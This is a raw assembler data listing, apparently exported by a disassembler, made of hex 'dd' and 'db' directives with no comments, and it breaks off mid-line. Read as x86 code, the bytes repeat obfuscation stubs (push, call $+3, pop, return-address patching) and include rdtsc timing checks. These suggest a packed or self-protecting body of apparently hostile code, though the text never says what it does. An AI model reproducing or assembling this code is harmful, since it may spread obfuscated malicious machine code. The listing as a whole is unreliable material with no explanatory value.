601CE263h dd 8BDABF0Fh, 308DD95h, 0D82B6106h, 6870Fh, 95290000h dd 6030201h, 85B52B58h, 2B060329h, 97880FD8h, 6A000001h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h dd 41000000h, 0ED6DC351h, 1A1648A8h, 0BD8BE22Eh, 60312F5h dd 7B9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1604h, 0C3524200h, 603E6714h, 8BC88B66h, 311E18Dh, 0C1836106h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h dd 0C3524200h, 0BF729561h, 400EF949h, 9EA6C781h, 0D93B3A5Bh dd 10C860Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1B0424h, 53430000h, 31ED8CC3h, 743E4A28h, 5880F3Fh dd 66000000h, 678EDE81h, 8393F781h, 8C6619D2h, 51006AD9h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 2272F442h, 9378A99Fh, 0F6F88B9Bh, 840F04C1h, 92h, 11A595FFh dd 0B58B0603h, 60303ADh, 39BD895Bh, 2B06031Bh, 0DE8C3h dd 32150000h, 0BB2B6FF2h, 2194847Fh, 2B31233Ah, 31FC1B5h dd 0BE95F06h, 9C000000h, 0E08D3844h, 4E8720FFh, 343DB611h dd 0F000008h, 4986h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1B04h, 0C3534300h, 0D2A678E6h, 378EDC67h dd 35E9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1704h, 0C3564600h, 123CAB9h, 0C08BFE8Bh, 1299D31h, 860F0603h dd 6, 31FD9D89h, 0C38B0603h, 6AD88Bh, 3E850h, 58200000h dd 448958C3h, 44810424h, 1A0424h, 50400000h, 0CF97AC3h dd 0A315FA9h, 5E8h, 0B6E4D400h, 0BD8BB318h, 6031351h, 85C7F95Fh dd 603214Dh, 7BA2E9D9h, 208D9529h, 95890603h, 6031E51h dd 6AC08Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h dd 56460000h, 207513C3h, 32318589h, 0BD810603h, 6032879h dd 7D0h, 2E850Fh, 85FF0000h, 6032879h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Dh, 32C35242h, 3C5E6EB6h, 0FE52BD51h dd 0F7BF0FFAh, 2879B5FFh, 0B58B0603h, 60310FDh, 1FB995FFh dd 6A0603h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 0B78827C3h, 9A11354h, 32A8585h, 0F78B9006h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 42C35646h dd 0FA9815CEh, 6A6A242Ah, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 15042444h, 47000000h, 4707C357h, 0CE8h, 70412F00h dd 21A1FBF6h, 9A9762BDh, 4D8D8924h, 5E060306h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 5BC35747h, 0B98F1C90h dd 29682F6h, 0FE928h, 0C6C10000h, 44FD2015h, 6CAE8FFBh dd 1E8DB653h, 8D29F9EAh, 6030C29h, 50006AF5h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 0F8678C6h dd 680h, 0ACF8100h, 89456AEAh, 311058Dh, 73BE5706h, 5F284AAAh dd 13ED9D89h, 820F0603h, 0Bh, 10FD8D89h, 0F5BF0603h, 0E962FE33h dd 10h, 7DA5BDA2h, 94D0B25h, 0DF60D6D8h, 18D6403Ch, 9860Fh dd 0D6810000h, 6209DC6Eh, 0E9F0BF0Fh, 0FFFFF823h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0A8C35242h, 84F943Ah dd 608A871Ch, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0D1C35141h, 67E84A7Ah dd 0E8836AB2h, 7, 8C610727h, 57775DC3h, 2EC1858Bh, 5E5E0603h dd 0FFFFFEB9h, 0FE9FFh, 0EDE20000h, 0A2A05237h, 0B2E4A0C4h dd 0F88D40D9h, 0DE9E9h, 869D0000h, 1ACC71D1h, 758F289Ch dd 21724A84h, 331598Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1504h, 0C3574700h, 8D21AAEBh, 6031BC9h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0B7C35646h, 808BD9BFh dd 8D8BF1CEh, 6033159h, 83F18B66h, 850F01E1h, 5, 0E709FBBAh dd 0C98D8B33h, 6A06031Bh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 3ADEC352h, 3F68DB6Ah dd 294A6432h, 331CD85h, 1E18306h, 7850Fh, 0B5890000h, 6030FD9h dd 0F6061F8h, 68Dh, 0C5DB8100h, 0B918A3ABh, 0FFFFFFFEh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 59C35343h dd 81669572h, 2149E7EEh, 3293D8Dh, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1C04h, 0C3504000h, 0C321751h dd 0BF5AD058h, 0CD8D21C2h, 0F5060325h, 8D8BC0B7h, 603293Dh dd 0F01E183h, 2A85h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1C04h, 0C3524200h, 0F1CD2045h, 0A03EDEC2h dd 0C5858B1Eh, 8B060328h, 325CD8Dh, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 7F6036EDh dd 85897093h, 6030B85h, 0F01E183h, 1585h, 10E900h, 49250000h dd 21397359h, 6A9529A5h, 0AD29B4Ch, 6061EE58h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 1FC35545h, 0A2AE6D1Ah dd 9CC33D52h, 0F499D8Bh, 0FEB90603h, 6AFFFFFFh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h dd 8B18C355h, 329E9B5h, 0F18D2106h, 6A060312h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h dd 9E14C352h, 29176EA1h, 0DD507A17h, 2F11BD89h, 0B5890603h dd 603118Dh, 5BD8D21h, 6A0603h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 190424h, 57470000h, 0DB2344C3h, 667F5403h dd 8B66D38Bh, 0F18D8BF1h, 0B2060312h, 1E183EFh, 1A850Fh dd 0EE80000h, 88000000h, 9A632649h, 37B4DE58h, 4CBBBA13h dd 0FFC0819Ah, 5B11D6EDh, 5BD8D8Bh, 0B8660603h, 0CB815A9Bh dd 2B3E5DBEh, 0F01E183h, 4A85h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 0AA8D8AF0h dd 0E4CD65CCh, 11E8CBC9h, 5000000h, 0A89B5208h, 7BE7F0D6h dd 0B21FFC52h, 0D159C7B2h, 9E9h, 27E2C400h, 0C38C6107h dd 615A775Dh, 0C3816660h, 0FEB952FEh, 0E9FFFFFFh, 11h dd 0CA44C63Eh, 0FE6426C0h, 0B217D114h, 0D092D63Ah, 0AD8D2154h dd 6A060313h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 16042444h, 43000000h, 0C00AC353h, 4D8D2166h, 6A060321h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h dd 47000000h, 0D428C357h, 0FB5F931Ch, 0E61C5958h, 8BC18B66h dd 313AD8Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1404h, 0C3504000h, 0B5BD8BDFh, 8906031Fh, 3031D9Dh dd 1E18306h, 9850Fh, 0E3810000h, 25A2B984h, 8BC28B66h dd 3214D8Dh, 0D5B58906h, 89060309h, 3046D9Dh, 1E18306h dd 6850Fh, 85890000h, 6033199h, 6A6061h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 160424h, 55450000h, 0B5ACFFC3h dd 68D0Fh, 0BD090000h, 6032849h, 287985C7h, 7D00603h, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 0A588C5C3h, 95900A9Ah, 10E9771Bh, 8C000000h, 0FC145B0Dh dd 0EC383D79h, 0A77A6C07h, 619B1C5Ch, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 17h, 4BC35040h, 579E7E6Ch, 0CED9589h dd 0F590603h, 688h, 79958B00h, 0EB060317h, 0E99D6107h dd 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0F1C35747h dd 14AEA7ACh, 3DBD8B41h, 6A060317h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1A042444h, 40000000h, 178FC350h dd 1291F050h, 31DFBF22h, 0C18B5ED8h, 75E9h, 8C666000h dd 0F04A8D8h, 3584h, 0FF016A00h, 31359B5h, 0BC858D06h dd 0FF060673h, 3D8589D0h, 8B060309h, 0CEFC1FEh, 4000068h dd 6A006A20h, 0D685702h, 0FF000100h, 3093D95h, 32E906h dd 85C60000h, 6032F39h, 30DF6856h, 0B5FFA9C5h, 60328C9h dd 73BC858Dh, 0D0FF0606h, 2C918589h, 858D0603h, 6032371h dd 6A206A50h, 95FF5605h, 6032C91h, 0E0C1C361h, 104BEB06h dd 3C2F0E09h, 0DA4B1AC5h, 0D41CA4ACh, 0E45C5CD2h, 3134CE00h dd 27CE1BF5h, 34D129B3h, 2AC7DD5Bh, 1BCE17E6h, 0DB6734DFh dd 70700A6h, 0EA1A0046h, 0D5A3h, 199C0000h, 0FEC8h, 0FBFE48h dd 41280000h, 7DD427E6h, 0EDE9C372h, 6A00000Dh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h dd 0C4E0C356h, 891BFC6Eh, 313018Dh, 91BD8306h, 6031Eh dd 22850Fh, 95230000h, 6032F3Dh, 0B8h, 4C200h, 45852960h dd 0F060322h, 689h, 35858900h, 6106031Ah, 6AC08Bh, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 4236FFC3h, 9D0BBB6Fh, 6032F25h, 1039BD83h, 75000603h dd 1DBD8309h, 60311h, 53501374h, 0D0B8C08Bh, 8D000004h dd 5AE659Dh, 5BD3FF06h, 1DBD8358h, 60311h, 53501174h, 4D0B8h dd 0B29D8D00h, 0FF0605ADh, 81585BD3h, 0C2B00FEAh, 0BE90Eh dd 640A0000h, 0A2FAE0A2h, 7D1A4A6h, 8BC08B7Bh, 31A698Dh dd 0E858D06h, 8B06071Ch, 3144195h, 0CD8D0906h, 90060328h dd 17800Fh, 0FE80000h, 4D000000h, 0FD888B2h, 0C9B8DE74h dd 7B578847h, 61603562h, 0CA8B505Fh, 199D8990h, 66060300h dd 4A34EA81h, 1BCB858Dh, 6A0607h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 170424h, 57470000h, 0C95FB1C3h, 0BE8ECh dd 6EEA0000h, 0FEF9EC0Ah, 457C6157h, 1C0EBF60h, 905B26BCh dd 0D99AB966h, 5E95650h, 0F6000000h, 24752FEBh, 6BBB905Bh dd 0FF5DC207h, 3039195h, 0B3C18006h, 424448Bh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 87C35747h, 0F9DA0D25h dd 119D09ACh, 89060326h, 71BF685h, 8BDE8A06h, 6A082444h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h dd 41000000h, 7703C351h, 0B8519181h, 0B1B589C2h, 89060328h dd 71C0A85h, 0EE906h, 0B7770000h, 0F1932ECDh, 604F5CA8h dd 0E7A2D59Eh, 2061BD83h, 0F000603h, 0D485h, 81666000h dd 89DD3CC6h, 30AC595h, 85C66106h, 6032F39h, 89B96047h dd 610D08ECh, 3E86D768h, 14E88Bh, 99050000h, 511DFC18h dd 74DF284Ch, 0E77AAC6Eh, 0FF6967E5h, 8A51AE33h, 815959CEh dd 20FB2404h, 0F60495Ch, 8E0FF3B7h, 3, 61FAB70Fh, 28C9B5FFh dd 14E90603h, 0DC000000h, 0A1198EA6h, 0F8EEAA57h, 70374B50h dd 0DAC72D6Ch, 8D3106CBh, 673BC85h, 6DB52906h, 0FF060323h dd 53006AD0h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h dd 0C3534300h, 849313DEh, 0BA5353B5h, 3516E642h, 6185895Bh dd 6A060320h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 18042444h, 41000000h, 0D9D2C351h, 8B301120h, 3016D8Dh dd 75BD8306h, 60329h, 0E4850Fh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 160424h, 52420000h, 4F0063C3h dd 0BE0E18BFh, 3985C60Eh, 4706032Fh, 4E8h, 0FB5E200h, 0AE98Ah dd 82B30000h, 34CBA0B1h, 0D912BE53h, 1DF7BA50h, 448B7EDBh dd 52500424h, 14E8h, 64D85700h, 40FD0478h, 4B5F6341h, 7226A604h dd 8839180Ch, 8F0F69h, 5A000000h, 0FEBF310Fh, 5A0104BEh dd 66008B58h, 89173FBFh, 60042444h, 0CA8B5250h, 0BA66310Fh dd 585A8ED6h, 0F5B5360h, 88h, 58616100h, 9D23DC8Ah, 6030ACDh dd 28C9B5FFh, 0CA8B0603h, 73BC858Dh, 0BD230606h, 6031145h dd 0CB8BD0FFh, 29758589h, 6A0603h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 140424h, 51410000h, 896058C3h, 32CF9BDh dd 0BD836106h, 6032E19h, 3850F00h, 6A000001h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 11C352h, 0B1A8132Dh, 6E82Eh, 5A7F0000h, 0E3E1F264h dd 8270BA66h, 3985C65Fh, 5606032Fh, 3AD8D8Bh, 8B0F0603h dd 6, 0AA9958Bh, 4E80603h, 39000000h, 0E8D41F6Dh, 0Fh dd 0A23F58B1h, 5A10D239h, 0B6282D7Fh, 0BA1B2304h, 2EA35646h dd 36B2505Fh, 424448Bh, 8BFB8Bh, 7E8h, 58FEC000h, 0A4DF1882h dd 59616052h, 2444895Fh, 4DADBA04h, 8B586983h, 301E5BDh dd 0C9B5FF06h, 0E9060328h, 14h, 2FBC9BC6h, 0C4FA4AFCh dd 0FF88FFB8h, 3F127CD8h, 2F5A203Ch, 73BC858Dh, 5E90606h dd 0E2000000h, 5FF62C2Bh, 0CE9h, 0F9BB9D00h, 0B4EC5763h dd 668F43DDh, 6AD0FFA0h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 66DAC352h, 89219CB9h dd 32E1985h, 85C6F506h, 6032F39h, 498D8B6Ch, 8106031Eh dd 0FEDAD5E7h, 985D6814h, 0C4B2CC3Ch, 26240481h, 660EC8D8h dd 32D7E281h, 14E9h, 3446AF00h, 6AB16Ch, 834E294Ch, 50A51E0Eh dd 44D2059Eh, 59B5FF26h, 6A060313h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 67C4C356h dd 10DBD8Bh, 858D0603h, 60338A7h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 16h, 45C35545h, 0D0FF1A84h, 0FA8589F9h dd 0B06071Bh, 329719Dh, 0E9046A06h, 14h, 71BDD6AFh, 0F688E060h dd 8A90FC3h, 7EC1E2A6h, 49B76399h, 1F01BD89h, 9D680603h dd 66EF085Fh, 81C42ABAh, 0B0632404h, 4E810F7h, 0 dd 0E9000100h, 7, 0DD11F76Ch, 5020A7DEh, 8E9h, 0BBC30200h dd 0B0363D97h, 24448B7Ch, 5E904h, 0E5090000h, 8BEF4D69h dd 0FC8A5600h, 2444895Fh, 7890F04h, 51000000h, 966FA7BFh dd 6A585F58h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 19042444h, 47000000h, 0B85CC357h, 0CE4F2AA7h, 0D0B0BF66h dd 0AE8006Ah, 0FD000000h, 8293B167h, 0FB675D1h, 85E98102h dd 5A0FB65Ah, 1B9195FFh, 820F0603h, 1, 68589F5h, 2906071Ch dd 321C9BDh, 89006A06h, 309258Dh, 0CD9D8B06h, 6806031Eh dd 12075401h, 11840Fh, 66600000h, 0E9D60CBFh, 6, 64A6E2BDh dd 8161467Eh, 54012434h, 6A1206h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1D0424h, 56460000h, 7FC1C5C3h, 0FD977B4Ah dd 809874E1h, 0F90C8C6h, 0F8Fh, 0BF525000h, 48775B31h dd 0BB66310Fh, 585A5105h, 95019050h, 6032A49h, 0C36EC381h dd 0B6A5275h, 1FA1BD8Bh, 858D0603h, 6071BD3h, 50F98B66h dd 97E9BF66h, 66240489h, 0A6EDC281h, 206195FFh, 0CB8B0603h dd 1BDDB58Dh, 85890607h, 60302F5h, 14E950h, 37480000h dd 231C84C7h, 59446B73h, 32E29120h, 38A6AEE9h, 3489058Fh dd 0E9BD8924h, 50060324h, 0DE9h, 6939EB00h, 2838B969h dd 0A68CCE9Bh, 489107Eh, 46C98124h, 0FF2BA9F7h, 3297595h dd 0FFF78A06h, 57006AD0h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1904h, 0C3574700h, 0EF4E9D30h, 0BA665924h dd 0B58B21EDh, 6071C06h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ch, 0CBC35747h, 2D4754h, 2021FA29h, 1BFE85C7h dd 607h, 7E800000h, 840F0020h, 387h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 17h, 97C35646h, 0FC6C2893h, 56006A60h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 0BB469F99h, 4B89BB4Bh, 6A20468Dh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0A2F3C352h dd 7FE2ECA5h, 66534FE5h, 892946B9h, 71C0285h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h dd 6C948130h, 0BB236411h, 958B31B7h, 6031335h, 35E9h, 0D18B6000h dd 1F09B58Bh, 8B610603h, 32AD9BDh, 6A4006h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 190424h, 57470000h, 65A5B5C3h dd 5354F50Ch, 388059FCh, 0D2850F00h, 6AFFFFFFh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h dd 0B6D7C355h, 0AE9h, 96BF6600h, 816648EEh, 80F38EF7h dd 840F5C38h, 74h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 17h, 0E3C35242h, 0BB666BE5h, 1B5AADD3h, 2E5958Bh dd 38800603h, 41840F2Fh, 0BB000000h, 67EA7820h, 1C02853Bh dd 830F0607h, 0FFFFFFADh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 9C35141h, 0DABF0F98h, 850F5660h, 0 aAAaa@j db '^``a`aaa@j',0 db 52h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h dd 47AEF8ECh, 0E024D817h, 7E9552Ch, 5C000000h, 0C34120E9h dd 0BD8399C0h, 6071C0Ah, 74840F00h, 1000000h, 32A2DBDh dd 0B9669006h, 9050BEC1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Dh, 0EDC35747h, 0C55174C8h, 5B86E7D5h, 0EEB96697h dd 55958B5Bh, 23060330h, 32C5DBDh, 0A850306h, 6A06071Ch dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h dd 47000000h, 3C19C357h, 0FA8B177Ah, 0B30000C6h, 81665882h dd 50E954D1h, 52506052h, 585A310Fh, 5F61F38Bh, 6A240489h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 75D0C353h, 0FE9346Fh, 85000000h, 0BCB0F6E7h dd 1A59AE92h, 333945E7h, 0B5FFAB20h, 6071BF6h, 0CE951h dd 0D29E0000h, 0ED8BEE0Fh, 1FED9A46h, 0FF5AE77Dh, 71BFA95h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h dd 0C3504000h, 66F5B28Eh, 0B999BBAh, 98850FC0h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 8B52C351h, 330959Dh, 58BB6106h, 6060E1BAh dd 1E8D9589h, 958B0603h, 6031E49h, 0FE85C761h, 106071Bh dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 19D2C351h, 4FBFFD9Dh, 7E90Dh dd 0B5930000h, 35F25009h, 49E9A0h, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 170424h, 50400000h, 7B5B2AC3h dd 0B19D89A6h, 6106032Dh, 3055B589h, 0C6810603h, 11Ch dd 0CCDA8166h, 0FC7CE9CBh, 0F53FFFFh, 58Ah, 0D2816600h dd 0E85F9880h, 4, 8000h, 331172B9h, 5E8501Ch, 8B000000h dd 0E47FDBEFh, 38D0Fh, 8B660000h, 448B5AD1h, 60BB0424h dd 8B242082h, 0B2525000h, 60310F10h, 0FD68B66h, 8Ah, 585A6100h dd 4244489h, 0E958E2B3h, 10h, 0E8ACA4D3h, 304E84E9h, 13681F32h dd 3E9D2075h, 0B966006Ah, 0B5FF7E83h, 6071C06h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 5DC35343h, 0DAB92B25h dd 0B98D8B0Dh, 0FF060308h, 32E1995h, 8800F06h, 56000000h dd 0CC5BD89h, 8B5F0603h, 71BFE85h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 0FA9BB402h dd 311AE6CBh, 30F49BDh, 52509006h, 67B86660h, 0CE804h dd 9F3E0000h, 0FF2529D5h, 0F755AC9Fh, 615BE280h, 0BB66310Fh dd 585A3731h, 0AE850h, 33820000h, 1B747AC3h, 6E639A74h dd 905FDAB7h, 1C0E858Dh, 8D8B0607h, 603172Dh, 2870F50h dd 8A000000h, 240489D9h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Dh, 9CC35141h, 7EE1A755h, 154FB7B9h, 0CB858D6Fh dd 6A06071Bh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 14042444h, 41000000h, 53ECC351h, 318D8D8Bh, 505B0603h dd 0BE9h, 0EC186900h, 0B222F7E7h, 0EE410557h, 6A240489h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h dd 45000000h, 3CC5C355h, 5A360766h, 50E97CE5h, 0C945C281h dd 315F5775h, 3327185h, 4595FF06h, 8B060331h, 31E9595h dd 6AC08B06h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 0C559C356h, 39FD1F6Dh, 128B0Fh dd 6E80000h, 9D000000h, 0BA621E55h, 9BD89D4h, 5A060331h dd 1039BD83h, 75000603h, 1DBD8309h, 60311h, 53501374h dd 0D0B8C08Bh, 8D000004h, 5AECC9Dh, 5BD3FF06h, 1DBD8358h dd 60311h, 53501174h, 4D0B8h, 0CB9D8D00h, 0FF0605ADh, 89585BD3h dd 317A99Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1904h, 0C3574700h, 6D95AAECh, 10E90DEFh, 7C000000h dd 0FAADDF57h, 4BC67FEDh, 0E408279Dh, 2BDB339Ah, 30359BDh dd 1C08B06h, 304A59Dh, 6A5806h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1C0424h, 51410000h, 29EBE8C3h, 0C02D0763h dd 8C20C63h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1504h, 0C3574700h, 95897A22h, 603138Dh, 6AC08Bh, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h dd 75115FC3h, 0E1FB36F6h, 8928350Ah, 3238185h, 41858D06h dd 6A06071Ch, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1A042444h, 47000000h, 0C760C357h, 67755817h, 98589B9h dd 0E8060313h, 11h, 77DB67E7h, 16C32F69h, 17E59733h, 0EC267866h dd 29D88155h, 59264939h, 816ADC80h, 6EB4C1h, 0EEB86600h dd 1F72BFC9h, 0EF816BF9h, 6BF903F5h, 2EF28166h, 0F31FF11h dd 18Ch, 0E85BF800h, 7, 0A9B39A64h, 0E9F7A934h, 0Ch, 0C233F35Dh dd 3DFE1F18h, 338BE4D7h, 4CEB8158h, 0F14BDFCh, 0EB81D1BFh dd 571FE974h, 0C5EB81FCh, 0B06E30D0h, 18F5378h, 30AD8533h dd 0E9830603h, 14E901h, 0A0B80000h, 1DE3D1C8h, 3515DD7Eh dd 6C3DC529h, 0C413308h, 49498411h, 83F38B49h, 850F01EFh dd 0FFFFFF8Dh, 11E8h, 0C1B82600h, 2808CBF4h, 0CC32D78Bh dd 0FD56CC8Dh, 0E3B8E46Ah, 580C25FEh, 53006A60h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 1C7B9926h, 66629288h, 39DBD89h, 0C08B0603h, 2A198D31h dd 0BD830603h, 6031039h, 83097500h, 3111DBDh, 19740006h dd 0C08B5350h, 438B8h, 75858900h, 8D060317h, 5B0919Dh dd 5BD3FF06h, 1DBD8358h, 60311h, 53501774h, 438B8h, 75858900h dd 8D060317h, 5AD809Dh, 5BD3FF06h, 56006A58h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 9D89E008h dd 6030321h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 15h, 99C35141h, 16850F44h, 0E8000000h, 0Ah, 9D269BC0h dd 0D41F8E14h, 8D0F24B5h, 0 a_lJ db '_‹Àj',0 db 50h, 0E8h, 3 dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h dd 4CC1C350h, 0D204B7B8h, 92EE80Dh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 0ECDA1EC3h dd 0F9A27FA9h, 893862A4h, 31CF185h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 562FB6D5h dd 59B9666Eh, 8DAE8B6h, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1C0424h, 51410000h, 0B74ED5C3h, 639771CAh dd 858995D5h, 60313E9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ch, 0FAC35545h, 5AF5F210h, 94885E62h, 26C5BD0Bh dd 0CE80603h, 3C000000h, 56B9AF28h, 91D4CB80h, 8170BB4Eh dd 148713D7h, 69E85923h, 0F5000008h, 21AD8589h, 6A0603h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 0AAB95BC3h, 0E8F51E30h, 83Ch, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 16h, 0FEC35040h, 11E999CCh, 0B3000000h dd 0BAD2EB9Bh, 5FF4B5A4h, 13BC3F92h, 4A9D54A9h, 35BD8B53h dd 59060302h, 29618589h, 96BE0603h, 0E82A0B13h, 7F0h, 89F7B70Fh dd 323C585h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1C04h, 0C3504000h, 0BD2B1928h, 0D918ACB4h, 9D8D8B8Eh dd 0E806031Ch, 7B8h, 7651B966h, 235D8589h, 8B660603h, 0A3D781F7h dd 0E81762D9h, 7A0h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 18h, 0E8C35747h, 7CDE908Dh, 8BCADE81h, 85896379h dd 6032221h, 0BE13BE66h, 76BE8h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 3B0B0BBBh dd 219C496Eh, 6E9h, 4A45EE00h, 89E83DA9h, 321D985h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 0DE912h, 45B20000h, 0B6FC9B06h, 3D0352C0h, 0E878B14Ah dd 704h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 15h, 23C35040h, 0CBD181CAh, 520F8823h, 0FE9h, 32617500h dd 963B13E6h, 6CFD449h, 58BC564Dh, 0F985895Fh, 0F060322h dd 1387h, 6E96000h, 25000000h, 0FEFD82C7h, 0D5BD8B73h dd 61060304h, 6A7E8h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1704h, 0C3504000h, 181FE24Ch, 143D8D89h dd 85890603h, 60330A9h, 0E8F38B66h, 674h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0A2C35343h, 2F8365E2h dd 0D06E90BDh, 13359D89h, 85890603h, 603324Dh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 6BC35646h, 0FC08AFB1h dd 61FE8h, 0A99D8900h, 89060321h, 31A1585h, 0BD895206h dd 603010Dh, 606E85Eh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 150424h, 55450000h, 0FFF87C3h, 0D80h, 0F7816000h dd 48AB8393h, 0E6FB87BAh, 85896148h, 60310CDh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0A2C35141h, 0ADE8485Eh dd 6A000005h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 19042444h, 47000000h, 71F5C357h, 76D58A28h, 5D32C9B9h dd 3185892Eh, 6A06031Ah, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 